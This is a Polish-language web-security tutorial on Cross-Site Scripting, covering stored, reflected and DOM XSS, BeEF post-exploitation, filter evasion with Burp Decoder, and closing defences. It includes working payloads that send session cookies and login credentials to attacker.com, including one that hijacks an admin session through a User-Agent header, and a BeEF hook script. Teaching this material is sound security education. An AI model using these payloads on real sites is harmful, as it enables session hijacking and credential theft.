Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) to jeden z najczęściej wykorzystywanych wektorów ataku na aplikacje webowe. Polega na wstrzyknięciu złośliwego kodu JavaScript do aplikacji, co może prowadzić do przejęcia sesji użytkownika, wykradania danych lub wykonywania nieautoryzowanych operacji.
Rodzaje ataków XSS
1️⃣ Stored XSS (Trwały XSS)
Atakujący zapisuje złośliwy skrypt w bazie danych lub na serwerze, a następnie jest on wykonywany w przeglądarce użytkownika podczas odwiedzenia strony.
Przykład ataku Stored XSS
Podatna aplikacja zapisuje komentarze bez filtrowania treści:
<input type="text" name="comment" value="">
Atakujący wpisuje:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
Każdy użytkownik, który odwiedzi stronę, wykona złośliwy kod JavaScript.
Stored XSS przez nagłówek HTTP (User-Agent)
Aplikacje logujące nagłówki żądań do bazy lub wyświetlające je w panelu admina są podatne na wstrzyknięcie przez User-Agent. W Burp Suite zmień nagłówek przed wysłaniem żądania:
User-Agent: <script>fetch('http://attacker.com/steal?c='+document.cookie)</script>
Jeśli administrator przeglądając logi dostanie payload w przeglądarce — przejmujesz jego sesję bez żadnej interakcji z frontendem. Panel admina staje się sink dla Stored XSS.
2️⃣ Reflected XSS (Odbity XSS)
Złośliwy skrypt jest wstrzykiwany w parametrach URL i wykonywany przez przeglądarkę ofiary.
Przykład ataku Reflected XSS
Podatna aplikacja wyświetla dane z URL:
<?php echo $_GET["query"]; ?>
Atakujący wysyła ofierze link:
http://example.com/search?query=<script>alert('XSS')</script>
Jeśli użytkownik otworzy ten link, przeglądarka wykona złośliwy kod.
3️⃣ DOM-based XSS
Występuje, gdy złośliwy skrypt jest wykonywany po stronie przeglądarki bez interakcji z serwerem.
Przykład ataku DOM XSS
Podatny kod JavaScript:
document.write("Wyszukiwane: " + location.hash);
Atakujący wysyła:
http://example.com/#<script>alert('XSS')</script>
Gdy użytkownik otworzy link, przeglądarka wykona kod JavaScript.
Wykorzystanie XSS do kradzieży sesji
XSS pozwala na przejęcie sesji użytkownika poprzez wykradanie cookies.
1️⃣ Przechwytywanie sesji
Atakujący wstrzykuje skrypt:
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>
Ofiara odwiedza stronę → jej sesja jest wysyłana do serwera atakującego.
2️⃣ Tworzenie fałszywych formularzy
Można stworzyć formularz logowania, który kradnie dane użytkownika:
<form action="http://attacker.com/steal" method="POST">
<input type="text" name="username" placeholder="Login">
<input type="password" name="password" placeholder="Hasło">
<input type="submit" value="Zaloguj się">
</form>
BeEF – Post-Exploitation XSS
BeEF (Browser Exploitation Framework) jest dostępny w Kali i pozwala na zaawansowaną post-exploitację po wstrzyknięciu hookującego skryptu do przeglądarki ofiary.
Uruchomienie BeEF
sudo beef-xss
BeEF startuje serwer na http://127.0.0.1:3000/ui/panel (login: beef:beef).
Wstrzyknięcie hooka
W podatne pole wstrzyknij tag <script> ładujący hook:
<script src="http://TWOJE-IP:3000/hook.js"></script>
Po otwarciu strony przez ofiarę jej przeglądarka pojawi się w panelu BeEF jako aktywny bot. Dostępne moduły pozwalają na: wykradzenie cookies, przechwycenie naciśnięć klawiszy, wykonanie screenshotu, atak phishingowy przez podmianę treści strony.
Omijanie filtrów XSS (Burp Decoder)
Filtry WAF i aplikacji często blokują <script> i alert(. Burp Suite Decoder pozwala enkodować payloady tak, żeby ominąć filtrację opartą na wzorcach.
Kodowania dostępne w Burp Decoder
- URL encoding:
<script>→%3Cscript%3E - HTML entities:
<→<,>→> - Double URL encoding:
%→%25, więc<→%253C - Base64: użyteczny gdy aplikacja dekoduje base64 po stronie JS
Workflow w Burp
- W Burp Suite:
Decoder→ wklej payload. - Wybierz
Encode as→URL/HTML/Base64. - Skopiuj wynik i użyj w żądaniu przez Repeater.
Przykład: jeśli filtr blokuje alert, spróbuj:
<img src=x onerror="alert(1)">
(HTML entity encoding słowa alert)
Zabezpieczenia przed XSS
- Filtrowanie wejścia – użycie
htmlspecialchars()w PHP lubencodeURIComponent()w JS. - CSP (Content Security Policy) – blokowanie wykonywania inline JavaScript.
- HttpOnly dla cookies – zabezpiecza przed odczytem JavaScript.
- Sanityzacja danych na wejściu i wyjściu – usuwanie podejrzanych znaków.
Przykład ochrony CSP:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
Ataki XSS mogą prowadzić do przejęcia kont i eskalacji uprawnień. Kolejnym krokiem będzie analiza podatności Insecure Direct Object References (IDOR) & Broken Access Control!